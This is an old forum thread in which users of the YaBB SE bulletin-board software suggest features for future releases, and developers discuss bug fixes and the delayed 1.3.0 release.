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YaBB SE Info => News From the YaBB SE Team => Topic started by: Jeff Lewis on January 14, 2002, 05:28:11 PM

Title: SE Future...
Post by: Jeff Lewis on January 14, 2002, 05:28:11 PM
Well, we're naturally going to tackle the remaining bugs and things like that but what else do you want to see to take YaBB to the next level?

Was there something about another forum you liked or thought would be good for YaBB?

I went through the registrations today and we've got most requests in here now but only a few remain...

Do NOT clutter this thread too much ;)  More, try to offer some nice suggestions that can make YaBB SE a better piece of software.

On top of this, we will be forming a YaBB SE Team.  This will include developers and mod team members so you should start to see some work in those areas as well...
Title: Re:SE Future...
Post by: Damien on January 14, 2002, 05:31:14 PM
The only thing I can think of is the creating a mod for PostNuke.....

Other than that, I'd say this was perfect.....
Title: Re:SE Future...
Post by: Cymro on January 14, 2002, 05:33:42 PM
The backup feature would be cool beats going into mysql or phpmyadmin :) and the ability to disolow member groups getting into a single forum not the overall catagry
Title: Re:SE Future...
Post by: Jeff Lewis on January 14, 2002, 05:34:53 PM
Ok, these are suggestions I like to see ;)  Backup feature pretty much works but darn safe mode kills it...
Title: Re:SE Future...
Post by: Godai on January 14, 2002, 05:36:25 PM
Better than integrate i think we can add portal function to YaBB SE itself :)
Title: Re:SE Future...
Post by: Archangel on January 14, 2002, 07:40:56 PM
Probably been asked before (but it wasn't on this thread so I'll post it)

How about a news feature that links to the announcement boards for comments? Basically the thing that XXL has on Boardmod. This can be taken to the next step if you have more than one announcement board (maybe one in each category) to separate the news into the different categories.


This next one might be hard, and you might have to rewrite a few parts... how about if the member of the board can choose to see how many posts per page and how many threads per page and so on. I personally hate going through several tens of pages. If you made it a member's choice, then the people with slow connections can choose less posts per page, and for people like me, they can choose more posts per page.


That's all I can think of for now.... But I'm sure I'll think of others.  :)
Title: Re:SE Future...
Post by: curious on January 14, 2002, 07:54:38 PM

Better than integrate i think we can add portal function to YaBB SE itself :)
That's exactly what I wanted to suggest. Like the portal mod they did for WBB.

YaBB SE is great the way it is. A few mods could be integrated like avatar upload, add more membergroups and stuff, but no real need as long as they will be available as mods (better IM is already on it's way :D).
The only thing I insist on seeing in a future release is a new default template. I don't like brightblue. :-\
Title: Re:SE Future...
Post by: BiggN on January 14, 2002, 08:39:14 PM
I know that the mod for this is already being worked on... but.... i still think that you should be able to give different memebers of your staff different colors by default.

http://www.heavengames.com (http://www.heavengames.com) forums as an example.
or http://www.7tharmy.com/cgi-bin/YaBB/YaBB.pl (http://www.7tharmy.com/cgi-bin/YaBB/YaBB.pl) is another *the old site before i upgraded to SE*

Makes it easier to see who is who for new people.
_______

Another thing *that i think is being worked on in the same mod* but changing the number of stars for each person/by default would be nice.

Havn't actually checked to see how they are in the images, but if i wanted to go backwards *just to be different* and have my more senior members have less stars.

_________

I just think those 2 things should be in there by default.
Title: Re:SE Future...
Post by: Brad on January 15, 2002, 12:25:54 AM
I'm not sure if this will ever be something you guys would ever venture to do but a great compliment to these awesome forums would be a PHP based website template where people would be given a generic PHP built site that they could customize the look and feel to compliment the forums.  Some kind of set-up where you could place links and images and text and hit a submit button and wala a PHP website ;D  
Title: Re:SE Future...
Post by: John R on January 15, 2002, 12:30:21 AM
Naw.....I won't go there, yet!  All I wanted for christmas was a 'GO' button and a 'reverse post order' feature but alas, I must have been bad cause I did't get em.

Personally, if an integration is in the works it would be nice to see YaBB SE integrated with PostNuke.  Both script sets have the same friendly user community and it's a real treat to interact with either group.

cheers........
Title: News - Portal Integration
Post by: Dylan Malone on January 15, 2002, 12:59:57 AM
I know that PostNuke is very popular, and looks pretty good to me.  BUT, I much prefer NewsPro because it gives me vastly more control over my site.  You can do ANYTHING with that .cgi script!

This site is still crude, but it gives you the general idea if you're curious:  http://www.algore-04.com (http://www.algore-04.com)

Notice how the news appears in a small column on the left and the latest YaBB posts appear on the right?  Can I replicate this exactly with a Nuke site?  I like that NewsPro basically expects you to make your own website and it'll offer up some great text files to weave in for content.

Maybe I haven't looked long enought but the Nuke sites I've seen all look sort've the same.  :(

NewsPro integration could make YaBB the ultimate comment system for news sites like mine.
Title: LDAP support
Post by: livingpixels on January 15, 2002, 02:31:26 AM
I just spent a bunch of time surveying bulletin board software (ubb, phpBB, XMB, openBB, phorum, vBulletin and YABB) and not one of them supported LDAP which makes it harder to implement for an intranet where you want the whole company to be able to use it.

If you guys could nail this, you would make it a no-brainer for intranet use which opens a huge "market".

ciao,
bruce
Title: Re:SE Future...
Post by: Godai on January 15, 2002, 02:57:45 AM
A news system is in work :)
Title: Re:SE Future...
Post by: irbrian on January 15, 2002, 04:21:05 AM
I have several suggestions.

1) Advanced/Upgraded IM System
2) [related..] Advanced Notification System (prevents severe cluttering of E-Mail Inbox!)

3) The ability to have PHP in my site template! (Unless this is possible already..)

4) Sub-forums capability -- allow multiple forums with seperate databases or db_prefix's to share various areas of the forum with another forum.
(I.E.: one set of member records for multiple forums, one IM system, one set of membergroups records, one profile per user across multiple forums)

5) Keep working on making it easier to write, install, and UNinstall mods. Also, look for ways to improve the upcoming Mod Team's procedures, efficiency, and policies to assure compatiblity between mods.

6) In a future version of YaBB -- optimized and even more readable code might be nice. From what I've seen of PHP, it seems like there are some great ways to optimize the code and make it more modular. I know YaBB SE is pretty much a line-by-line port of Y1G and SP1, but in the future it'd be great to re-do a lot of that to make it even more modular.. and if possible, even more CPU/bandwidth friendly.

7) Get omario to finish his MSN mod, and make it a standard part of future versions! MSN Messenger is probably the most popular Instant Messaging system now, more so that Y!, AIM, and ICQ which are included. :)

8) A Portal System would be great -- or at least, some form of site content managing system. If you integrate with Postnuke, thats fine -- although I hope it can be made a little easier to understand how to install it and everything.

There ya go.. I think thats enough to keep ya guys busy for awhile. ;) [Hey.. you asked!]  ;D
Title: Re:SE Future...
Post by: chris on January 15, 2002, 09:23:29 AM
1) Advanced/Upgraded IM System

I'm going to start coding on my Advanced IM System today or tomorrow again...

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3) The ability to have PHP in my site template! (Unless this is possible already..)

I think that Joseph added something like that... but I'm not sure...

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4) Sub-forums capability -- allow multiple forums with seperate databases or db_prefix's to share various areas of the forum with another forum.
(I.E.: one set of member records for multiple forums, one IM system, one set of membergroups records, one profile per user across multiple forums)

With a little bit of hacking around, this is already possible ;D

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6) In a future version of YaBB -- optimized and even more readable code might be nice. From what I've seen of PHP, it seems like there are some great ways to optimize the code and make it more modular. I know YaBB SE is pretty much a line-by-line port of Y1G and SP1, but in the future it'd be great to re-do a lot of that to make it even more modular.. and if possible, even more CPU/bandwidth friendly.

As you already mentioned.... SE is just a line by line port... i think that if there will be a SE2, it will be a total re-write...

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8) A Portal System would be great -- or at least, some form of site content managing system. If you integrate with Postnuke, thats fine -- although I hope it can be made a little easier to understand how to install it and everything.

AFAIK, tarch is working on ezTarch, a Portal-System based on YaBB SE.... http://www.eztarch.com (http://www.eztarch.com)
Title: Re:SE Future...
Post by: Pegleg on January 15, 2002, 10:36:18 AM
Only three things, and one I think is being worked on already.

1. User selectable skins/templates.
2  User selectable languages.

Both of above are very popular features of iB.

3.  Direct upload of avatars for users.

Number 3 is being worked on already I think.

One other thing which I use on my site, but is manually adminisdered.  A Birthday Announcement system.  You can see my rough php/mySQL implementation of a manual system here:

http://www.teetyme.com/outdoorsims/birthdays.html

All other items I can think of right now are already being worked on or implemented.
Title: Re:SE Future...
Post by: John R on January 15, 2002, 09:58:15 PM
There is already a birthday mod available that works quite well.  It is mentioned in the Completed Mods thread.

cheers........
Title: Re:SE Future...
Post by: Razgo on January 15, 2002, 10:49:48 PM
I would like to see a better membergroup set up.

like what ezboard does. having the ability to assign how many posts to be made to for new tiltles.

phpbb2 also does something similar.

(http://razgo.com/pics/groups.gif)
Title: Re:SE Future...
Post by: Godai on January 16, 2002, 01:33:19 AM
More Membergroups mod that is in work is really much better :D
Title: Re:SE Future...
Post by: Webby on January 16, 2002, 01:39:36 AM
There is already a birthday mod available that works quite well.  It is mentioned in the Completed Mods thread.

cheers........


That one is for v1.0.0 .....RobDownSouth is working on the version for v1.1.0 .....check it out http://www.yabb.info/community/index.php?board=141;action=display;threadid=3868;start=30 (http://www.yabb.info/community/index.php?board=141;action=display;threadid=3868;start=30)  :D
Title: Re:SE Future...
Post by: Razgo on January 16, 2002, 01:42:53 AM
thanks Godai, so what I posted is already in the works? if so I will edit my post then and take out the pic.

Title: Re:SE Future...
Post by: Godai on January 16, 2002, 05:00:45 AM
Yeah already in work by Matt and BigP :)
Title: Re:SE Future...
Post by: sydney078 on January 20, 2002, 12:56:24 AM
**Be able to have users select sounds for PM

**Ability to choose template style

**And Create own titles

**Create it so ADMIN can have different size avatar- for some reason I cant get it to wrok that my users have 85x85 and I have 95x95 :(

Other than that I love the board
Title: Re:SE Future...
Post by: alexrolko on January 20, 2002, 01:35:21 AM
Sydney Custom Titles is already now apart of 1.1.0, Sounds for PM? would be impossible because for you to actaully see you have a new message or not you would have to refresh, but it would be simple enough to play a short sound file when ever u have more than 0 messages.  8)
Title: Re:SE Future...
Post by: sydney078 on January 20, 2002, 08:12:39 AM
Well, that is what I meant- Like for YaBB Gold when you go to your PM box if you have a new PM you can hear a sound- Some of the board ADMINS have uploaded a few sounds and you can choose which one you want to hear when you get a PM

Title: please improve the "Recent.php"
Post by: andrea on January 20, 2002, 09:09:13 AM
I would appreciate very much a better "Recent.php".

The "last 10 recent posts" don't make much sense, these are completely useless for me.

What I would need:

Title: Re:please improve the "Recent.php"
Post by: alexrolko on January 21, 2002, 04:31:02 PM

I would appreciate very much a better "Recent.php".

The "last 10 recent posts" don't make much sense, these are completely useless for me.

What I would need:


  • posts of the past 24 hours
  • posts of the past 48 hours
  • posts of the past 7 days
  • or alternatively all new posts since my last visit (but I would be completely satisfied with the three above)



Its in the works  ;)
Title: Re:please improve the "Recent.php"
Post by: andrea on January 24, 2002, 12:25:10 AM

Its in the works  ;)

Thanks!  :)
Title: Re:SE Future...
Post by: sHORTYWZ on January 24, 2002, 12:41:40 AM
I don't know if this is part of the more membergroups thing.. but more forum level security options would be a GREAT help.. Instead of having to assign usergroups to everyone in order to secure a forum I would like to be able to select which users had access to a forum.

Other than that I have no complaints what-so-ever.. keep up the great work.
Title: Re:SE Future...
Post by: Michael Prager on January 24, 2002, 12:43:41 PM
I don't know if this has been mentioned already but the YaBB template system is really bad. If you want to customize your board then this is the most problematic issue. With only one single template.html, you can't really make your YaBB looking as you like. This is something where YaBB is far behind it's competition. I suggess some advanced system, something like the one from phpBB2 would be really cool...
Title: Re:SE Future...
Post by: Jeff Lewis on January 24, 2002, 01:36:13 PM
Hehe it's funny that you say that...

I was just talking to a guy who was using phpBB2 and he was mentioning that he didn't like their template system (which he says is just like PHPNukes) and prefers YaBB much more ;)

But yeah I agree that some more in the way of templates needs to be done ;)
Title: Re:SE Future...
Post by: The Engineer on January 24, 2002, 01:42:13 PM
CAE made a MOD for Y1G called "Advanced Template System" which works very well, I would like to see something like this with SE  :)
Title: Re:SE Future...
Post by: Jeff Lewis on January 24, 2002, 01:50:01 PM
What does it do?  Like how did it work?
Title: Re:SE Future...
Post by: The Engineer on January 24, 2002, 02:51:50 PM
You can have a different template for every board, login screen, search screen, etc.

Its really cool  :)

All controled from the admin center.

(http://www.urjb.com/pictures/template.jpg)
Title: Re:SE Future...
Post by: beneluxrail on March 02, 2002, 03:22:30 PM
SE Future.... does anybody know when the 1.1.3 will be released?

(The 1.1.3 thead was also lost, including my profile...  :'(  )
Title: Re:SE Future...
Post by: David on March 02, 2002, 03:24:51 PM

SE Future.... does anybody know when the 1.1.3 will be released?

(The 1.1.3 thead was also lost, including my profile...  :'(  )

Do you mean 1.3.0?  If so, I hope within about a week.
Title: Re:SE Future...
Post by: beneluxrail on March 02, 2002, 03:27:19 PM
uuuhh whoeps.. Yeah.. the 1.3.0...   ;D
Title: Re:SE Future...
Post by: Omar Bazavilvazo on March 02, 2002, 03:34:21 PM
Well, If I remember well, 1.3.0 has been slower than prevented, and after the boo boo, we are trying to settle all again.

Remember is a lot of ppl, and working together is a little confusing at first. I think beta testing is regrouping, but please be patient, we are doing our best (i'm not beta tester, but coder). We are trying to make 1.3.0 bugless as possible four all SE users benefit.
Title: Re:SE Future...
Post by: roby2k on March 03, 2002, 05:02:52 PM
how about invite memebers bit? like on ikonboard
Title: Future? What future? Oh, that future.
Post by: Golden Tiger on March 03, 2002, 10:11:03 PM
Yes!  One member can invite another member to that forum and this feature uses the send mail feature of the forum.

You could sorta do this with Send Topic, but a direct invitation feature would be nice.

Don't worry about making a quick update.  Take all the time you need.  Afterall... I still have no visitors to my forum, so it doesn't really matter anyways!  (need to work on that problem....  but not this week...)

[SIDENOTE:  Did you know that I have been a member of this Forum since 1969?  I have been!  My profile says so!   ;D   Um...  well...  why would it lie?]
Title: Re:Future? What future? Oh, that future.
Post by: Daniel Hofverberg on March 04, 2002, 04:12:07 AM

SIDENOTE:  Did you know that I have been a member of this Forum since 1969?  I have been!  My profile says so!   ;D   Um...  well...  why would it lie?]

I just noticed that myself - My profile is listed as registered January 1st 1970... Seems like a weird side-effect after the restore to the old backup...
Title: Re:SE Future...
Post by: Michael on March 04, 2002, 04:13:28 PM
Yeah, it's been '69 since the restore (maybe before? I can't remember).

As for the template system, I personally wouldn't be interested in being able to set a separate template for every bloody part of them forum; far too much work for far too little purpose, I think. What I'd like to see is something like StarSaber's User Colors Mod or whatever it was, where users can choose their own templates and adapt the forum look entirely to their own  taste. The admin would just set a default template.

[edit]Although on second thought, separate templates for differently themed boards in a forum could potentially be neat. ;)[/edit]
Title: Re:SE Future...
Post by: Ian on March 04, 2002, 07:49:20 PM
The one feature that this forum doesn't have is the option to go to the newest post within the current thread.
Title: Re:SE Future...
Post by: David on March 05, 2002, 03:16:53 AM
The other thing vB has that is missing here is the ability to see what threads you have posted in.  What it does is over the thread icon if you posted in it a black dot is put on.  This is really cool and somethign I would like to see in a future release.
Title: Re:SE Future...
Post by: Jeff Lewis on March 05, 2002, 07:27:41 AM
Where does it say you were registered in 69 or 70?  When I look at your profiles it says NA.
Title: Re:SE Future...
Post by: Biddy on March 05, 2002, 07:32:11 AM
My profile still says 69 also. If I go to the home page at the bottom where it says who is logged on and click on my profile it says I was registered Dec. 31, 1969.
Title: Re:SE Future...
Post by: Michael on March 05, 2002, 07:52:30 AM
Date Registered:  December 31, 1969, 07:00:00 PM

Says that on all restored accounts that I've seen, Jeff. Yours, however, says "Date Registered:  December 2, 2001, 11:54:00 AM "
Title: Re:SE Future...
Post by: Daniel Hofverberg on March 05, 2002, 08:06:16 AM

Where does it say you were registered in 69 or 70?  When I look at your profiles it says NA.

For my profile, it says:
Date Registered:  Thursday, January 1 1970 01:00:00

The same happens both if I click on my username in the Users online or any posts I have made, and if I click on Profile and directly use Save.
Title: Re:SE Future...
Post by: Michael on March 05, 2002, 08:13:58 AM
Ah, must be your time offset, because from my view, your profile shows December 31, 1969
Title: Re:SE Future...
Post by: Jeff Lewis on March 05, 2002, 08:26:53 AM
Sorry guys, I was tired or something ;)  I'd click on your profiles and then click modify, that is where it says NA :)

But I do see things now...
Title: Re:SE Future...
Post by: Omar Bazavilvazo on March 05, 2002, 10:45:40 AM

Sorry guys, I was tired or something ;)  I'd click on your profiles and then click modify, that is where it says NA :)

But I do see things now...


You were blind?? good you recovered your vision Jeff :P
So you have been able to check that bug? I couldn't :P
Title: Re:SE Future...
Post by: Daniel Hofverberg on March 06, 2002, 05:19:26 AM

Ah, must be your time offset, because from my view, your profile shows December 31, 1969

Probably - I'm in Central European Time (GMT + 1), I e +6 as time offset in the profile.
Title: Re:SE Future...
Post by: queks on March 06, 2002, 09:53:46 AM
Sorry guys. Just need to know an estimated time of when is the v1.3 going to be release. Need it urgently, cause my forum going to be out of web space soon. Hopefully can be release within this week. Waiting for good news from you guys. Thks.
Title: Re:SE Future...
Post by: Jeff Lewis on March 06, 2002, 10:04:13 AM
Use 1.1.0 for now...
Title: Re:SE Future...
Post by: iamdamnsam on March 06, 2002, 04:43:19 PM
So I take it that 1.3 isn't close to being released?
Title: Re:SE Future...
Post by: Jeff Lewis on March 06, 2002, 04:48:12 PM
Yes it is but I'm not going to say it will be released Friday and have it delayed to Sunday and take crap from people :)

And NO those aren't dates that I have in mind :)
Title: Re:SE Future...
Post by: Webby on March 06, 2002, 05:35:52 PM
Hihar !  I like the way people are trying to get Jeff to name a date ;)

Is there going to be a mailing for the members when it is put on the download-page ?

That would be nice .... ?

Anyway, I (we) will stay tuned ;)

Title: Re:SE Future...
Post by: Jeff Lewis on March 06, 2002, 08:09:19 PM
It will be announced on the announcement board and those that have choosen to receive mailings when new posts are made in the announcement board will get an email ;)
Title: Re:SE Future...
Post by: Michael on March 06, 2002, 08:18:06 PM
Fiendishly clever. ;D
Title: Re:SE Future...
Post by: BrianEvans on March 09, 2002, 02:58:25 AM
"previous next" should be at or near the foot of the postings, as well as the top, to relieve or reduce wrist strain: carpal tunnel syndrome).








The only thing I can think of is the creating a mod for PostNuke.....

Other than that, I'd say this was perfect.....
Title: Re:SE Future...
Post by: Jeff Lewis on March 09, 2002, 09:21:11 AM
Brian, please don't abust the report to moderator feature.

Get a scroll whell and save your wrists.
Title: Re:SE Future...
Post by: BrianEvans on March 11, 2002, 06:03:00 AM
Hi Jeff,
I am so impetuous, I just thought I would press the moderator quick input thingie because the debut date of your next version was nigh.
Anyway by way of saying a deep remorseful sorry I would like to help on the YaBB SE Team, forthcoming.
Hey Jeff, please put me in charge of the Scroll Mouse Department.  ;D
All newbies get a new scroll mouse.
It will be programmed to go straight to "next" or "previous"
and never ever go near the moderator quick input thingie.
I have a scroller  already. But it makes me dizzy and tired as I try to land it on the next and previous. :-\ and now my finger is getting arthritic and the noise from its crackling and squeaking keeps my wife awake.
Perhaps they could be made a bit bigger also ?
Like landing on an aircraft carrier in a storm.
Maybe click on a large gif picture of ... er whatever star gets us going.
I know I myself would soon forget the pain in my hands.
Anyway your work is very much appreciated Jeff.
Cheers from Brian Evans in New Zealand.
And thanks a lot.
Oh my poor wifey....

Title: Re:SE Future...
Post by: kurgan on March 11, 2002, 12:27:18 PM
Oh a new version ;)

okay for suggestions:

#1: a portal mod, giving us somethinglike xoops/postnuke etc.

#2: ok I know this might not be populr, but I tend to like frames, could it somehow be possible?
for instance having blocks right/left/top and having the board in the middel?

#3: fix the fact that entering articles directly forinstance through recent eetc. will not make yabb se update the status on the mainpage so you dont know if theres new articles

#4: icq notification? as an alternative to email?

#5: a votingsystem (and a gallery)

#6: more configurable member-levels

#7: restrictedposting in certain forums, so only list/forum moderators etc. can start threads.

Title: Re:SE Future...
Post by: Webby on March 11, 2002, 12:40:58 PM
And still no new release....

Whenever I receive a new notification, I rush to my pc to check whether it is about the new release or not.... ;D

Ah well, like we say in Holland : geduld is een schone zaak ;)
Title: Re:SE Future...
Post by: Brad on March 11, 2002, 05:16:46 PM
Is the template updated in 1.3?
Title: Re:SE Future...
Post by: kurgan on March 11, 2002, 07:18:56 PM
btw. additionall there seems to be some sort of problem with the cookie/auth system

people frequently has to delete their cookies to be let in

that is not very userfriendly
Title: Re:SE Future...
Post by: kurgan on March 11, 2002, 09:40:03 PM
oh yeah, I totally forgot:

a calendar system, possibly with email/icq etc. notification option
Title: Re:SE Future...
Post by: rican5vl on March 11, 2002, 10:39:17 PM
How much longerrrrrrrrrrr :( lol hehehe


Rican5vL


Its been many weeks :)    LoL

After this release I am settling in with yabb se 1.3

In fact I dont need all these darn features...they are just good to have whenever the need is there :)

lol
Title: Re:SE Future...
Post by: kurgan on March 11, 2002, 10:42:50 PM
btw talking of 1.3 , Im running 1.0  what is new in 1.3?
Title: Re:SE Future...
Post by: Nemesis on March 11, 2002, 10:47:37 PM
LOL, 1.3 will be released when there are no longer any major bugs. Jeff (and so do I) want to make sure this is a really good release. Last time he released 1.1.0 he got allot of flack for it.

I want to say keep up the good work YaBB SE team, and take your time. 1.1.0 works good so no rush.
Title: Re:SE Future...
Post by: Golden Tiger on March 12, 2002, 08:20:54 PM
It all comes down to this...

Either delay in releasing until the software is totally done:
A month or two of users complaining that the software isn't released, then over a year of praise for a job well done

OR

Release now:
No more users complaining about the software never being released... and over a year of users complaining that the software doesn't work, that it has bugs, and that it should have been developed more...

Release later... everybody will be happy!   ;D
Title: Re:SE Future...
Post by: kurgan on March 12, 2002, 08:29:54 PM
still nobody has mentioned WHAT is in 1.3?

Title: Re:SE Future...
Post by: queks on March 12, 2002, 09:45:33 PM
Before the database problem, there was a thread abt this v1.3 and what is inside v1.3. Anyway, during that time i thought i saw someone mention that v1.3 will be release in abt 2 wks time. But till this day still no news. :-(. Can someone update us on the progress of v1.3.
E.g How is the testing going on. Any major bug found. How long will the Beta testing go on .... etc.
Title: Re:SE Future...
Post by: kurgan on March 12, 2002, 09:51:23 PM
or just a few workds on what we are waiting so eagerly for?
Title: Re:SE Future...
Post by: Golden Tiger on March 12, 2002, 09:57:41 PM
I believe we are waiting for bug corrections as well as extended testing (to find any potential bugs).  In essence, beta testing at the moment.

Then again, I think that is what we are waiting on...
Title: Re:SE Future...
Post by: kurgan on March 12, 2002, 10:00:08 PM
well I was thinking of 'what new features' /enhancements we are to be blessed with in 1.3? ::)
Title: Re:SE Future...
Post by: Jeff Lewis on March 12, 2002, 10:01:20 PM
We have tested 9 releases of the 1.3 version.  Each release includes bug fixes, code changes etc.

We're currently waiting for a couple more things and then should release the tenth release sometime this weekend.

As long as it goes fine..it should be very soon.

Today, Joseph and I combined cleared up 6 bugs including some in the bug tracker.  Greg should have two of them also cleared out of there for the weekend.

It's coming guys... :)

Title: Re:SE Future...
Post by: kurgan on March 12, 2002, 10:04:52 PM
ok so 1.3 is a maintenance /bugfix release? (not a feature release?)
Title: Re:SE Future...
Post by: Webby on March 12, 2002, 11:40:00 PM
I guess it is both.  

Will there be a solution for the generated passwords that often don't seem to work (and are too long), and the "forgot password" option, that also doesn't work ??

Also, are we talking about days now, or are we still talking about weeks, because a lot of people on my board want the MSN, I want the solution for the passwords, etc, etc ??
Title: Re:SE Future...
Post by: Jeff Lewis on March 13, 2002, 08:17:58 AM
it's got a lot of new features, all are in place here.  There's MSN, different notification options, take a look around.  if you're running 1.1.0 and your board doesn't have someting that it here... ;)

I'll put a list together sometime soon.

As for the password thing, maybe you guys can bug Joseph or Omar to work on it?
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 08:37:08 AM
But that is a major bug isn't it ?

Isn't it supposed to work on the next release ?

Who is the one that made the routine : maybe he can just read this and make it work ??
Title: Re:SE Future...
Post by: Jeff Lewis on March 13, 2002, 08:38:29 AM
Joseph made it, that's why I said maybe you can bug him :)

I had a pretty neat one but it won't work on all machines :)

I guess it is a major bug yeah although it's happened only on a handful of sites :)

Just IM Joseph or maybe Omar.
Title: Re:SE Future...
Post by: Dire on March 13, 2002, 08:56:52 AM

it's got a lot of new features, all are in place here.  There's MSN, different notification options, take a look around.  if you're running 1.1.0 and your board doesn't have someting that it here... ;)


hmm so far it looks very yummy indeed, and its great your trying to get rid off as many bugs as possible  ;D
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 09:21:19 AM
Well, I IM'ed Joseph.......

[edit]

He is looking at it right now ;)

[/edit]
Title: Re:SE Future...
Post by: Joseph Fung on March 13, 2002, 09:48:12 AM
randomly generated passwords are now only alphanumeric characters (upper and lower case) and a max of 10 characters long

I'm also adding a secret question/password thing so that instead of having a random password mailed to you, you can answer your secret question, and (assuming you get it right) define your new password right there.  I'm doing it to save those schmucks who don't have sendmail configured right on their server.
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 10:00:52 AM
So this will be in the next release, not a seperate mod/bugfix ?

It's great you got it done so quick !
Title: Re:SE Future...
Post by: Jeff Lewis on March 13, 2002, 10:04:16 AM
yes it will be in 1.3.0
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 10:16:51 AM
(http://www.salesplaza.nl/forum/YaBBImages/wave2.gif)
Title: Re:SE Future...
Post by: Omar Bazavilvazo on March 13, 2002, 10:32:52 AM
heh... well Joseph did it before I noticed :)

Good improvement btw.. anyone could ask to remember passwd, and change of another user :)

ja ne!
Title: Re:SE Future...
Post by: kurgan on March 13, 2002, 10:52:17 AM

it's got a lot of new features, all are in place here.  There's MSN, different notification options, take a look around.  if you're running 1.1.0 and your board doesn't have someting that it here... ;)

I'll put a list together sometime soon.

As for the password thing, maybe you guys can bug Joseph or Omar to work on it?



sounds great!!! cant wait, though MSN could get lost for all I care... :D
Title: Re:SE Future...
Post by: Dire on March 13, 2002, 02:21:15 PM

sounds great!!! cant wait, though MSN could get lost for all I care... :D


at least on MSN you dont get endless porn website messages, my god my ignore list is on about 200 at the moment
Title: Re:SE Future...
Post by: Joseph Fung on March 13, 2002, 02:28:25 PM

randomly generated passwords are now only alphanumeric characters (upper and lower case) and a max of 10 characters long

I'm also adding a secret question/password thing so that instead of having a random password mailed to you, you can answer your secret question, and (assuming you get it right) define your new password right there.  I'm doing it to save those schmucks who don't have sendmail configured right on their server.

It's done.  try it if you want.  look in your profile for the new fields.
Title: Re:SE Future...
Post by: Brad on March 13, 2002, 02:48:53 PM
Wow! Was just checking out the Bugs board and it looks like you guys have covered almost everything.  Looking forward to 1.3

Also looking forward to seeing the list of features and new features 1.3 will have :)
Title: Re:SE Future...
Post by: Joseph Fung on March 13, 2002, 03:11:13 PM
Hmm...list of features...crap - I can't remember what's been added wince 1.0 and what was there  ::)
Title: Re:SE Future...
Post by: Jeff Lewis on March 13, 2002, 03:19:48 PM
I honestly can't remember either...

There is now a choice whether to receive an email notify of each post or some vB way.  The stats are new in 1.3, user selectable language, online/offline in posts, view posts by newest first, option on how to censor words so something like crapake mushrooms can be handled properly, compact topics (1,2,3...7,8,9).

Not sure what else...

Title: Re:SE Future...
Post by: Brad on March 13, 2002, 03:20:31 PM
A complete list of features would be fine ;D
Title: Re:SE Future...
Post by: Golden Tiger on March 13, 2002, 04:13:04 PM
I don't have a use for this... but others may have one...

Advanced registration...

- Everybody can register
- Mod and Admin can register somebody
- Only Admin can register somebody

This way, you can lock out a board to any guests as well as lock out registration.  This way, a site can have a totally secure forum.  I can see how our school would demand a board that has that feature... when (if they ever) wanted to set up a staff and faculty only forum.

Just an idea...
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 04:21:24 PM
What I don't get : this board is already using the sourcefiles for v1.3.0
I noticed no problems so far, so when it runs ok here (with all those people visiting this board, and nobody complaining anymore), it must be ok then, or am I wrong ?

I mean, it won't have to take much more time to release it then, won't it  ;D ?

Maybe it is time to set a more specific date to release it ?
Title: Re:SE Future...
Post by: Joseph Fung on March 13, 2002, 04:37:01 PM
The problem is that this server isn't the same as all the others.  Magic quotes, safe mode etc. causes a lot of little nitpicky problems : P

We need to make sure it works on all those.
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 04:39:43 PM
Ah, I get it !

Thanx.
Title: Re:SE Future...
Post by: kurgan on March 13, 2002, 04:41:22 PM
no problem

also I assume the 1.3 will contain good docs?

Id like to implement a portal around the yabb core, but I dont know where to start since all the sources only come with a copyright header, ie: no useful info whatsoever  ;)

Title: Re:SE Future...
Post by: Joseph Fung on March 13, 2002, 04:43:27 PM
sigh...such is he problem with porting code rather than just making your own.

also such is the problem with people hassleing you to get it out ASAP - you don't spend the time to really document it :P

hmm...added a couple nifty things today.  fun fun.  better url autolinking.
Title: Re:SE Future...
Post by: Webby on March 13, 2002, 04:45:36 PM
Yeah, about the docs : I would like to translate the dutch.lng (the 1.3.0 version) into Dutch, so we can put it in the package OR use it on yabb.nl !!
I have translated the v1.1.0 version and some mods, so I could do this very easily !

Just an attempt to help you guys, and future (dutch) users of this great board !
Title: Re:SE Future...
Post by: obazavil2 on March 14, 2002, 02:53:14 AM
yep

when is 1.3.0 out??

/me is pissing himself (Omar)
Title: Re:SE Future...
Post by: Jeff Lewis on March 14, 2002, 08:47:01 AM
hehe you guys crack me up...

-Are you going to release it?  Can we set a firm date?

-Oh why doesn't this work or this work? :)

It's coming guys.  As Joseph says, many hosts set things up differently and this causes problems.  See our apostrophe problems, other fixes we needed to add for safe mode etc.

It works great on here because this is where we developed it and any bugs that popped up we could clear them up right away :)

As for docs...there is a board where guys are going to try to develop some documentation...
Title: Re:SE Future...
Post by: Webby on March 14, 2002, 08:48:41 AM
So you don't need my help.......not even for the Dutch.lng......ok then...... :-\
Title: Re:SE Future...
Post by: Paul Stoffregen on March 14, 2002, 11:27:17 AM
Here's another proposal.  I know this would be far too much to put into the almost-ready 1.3.... but the topic is "Future SE...", maybe 1.4 or later ??

Yahoo Groups has a feature where users can participate using the web site or by receiving the messages as email and replying to them.  YaBB, UBB, Vb (and most others) are web-only, with one-way email notifications.  There's a number of conventional mail list packages (eg. GNU Mailman, Geocrawler), but their web-interface is usually a read-only archive.  Yahoo has done a really nice job of blending the two together to make a forum that appeals to both types of people.

A lot of users really like the Yahoo Groups email feature because they use it at their workplace.  A web browsers with a colorful YaBB forum feels like "goofing off" (and attracts attention from coworkers), but text-only messages in the normal email program appear like normal "work".  Also, a lot of companies have draconian policies about web usages, and proxy servers to enforce them (big brother is watching).

There's a mod for Y1G-SP1 called "Notify Plus 2.2" which puts the message text into the email, and it even lets the user choose plain text or html.  To make this crazy idea work, there probably would need to be a per-board setting for the "From:" address someone in the admin settings.  There'd also need to be a separate program that would receive the incoming emails from sendmail/procmail (or whatever is used on windows servers) and post them into the board somehow (figure out which topic by parsing the subject line, etc).

Anyway, there's the idea, maybe for a future YaBB SE.  It is a feature that really works well for YG and encourgages more people to contribute to the forum.
Title: Re:SE Future...
Post by: Jeff Lewis on March 14, 2002, 11:31:30 AM
And the replies to the emails are entered as posts into the board? (In the Y1G MOD)
Title: Re:SE Future...
Post by: Paul Stoffregen on March 14, 2002, 11:59:16 AM
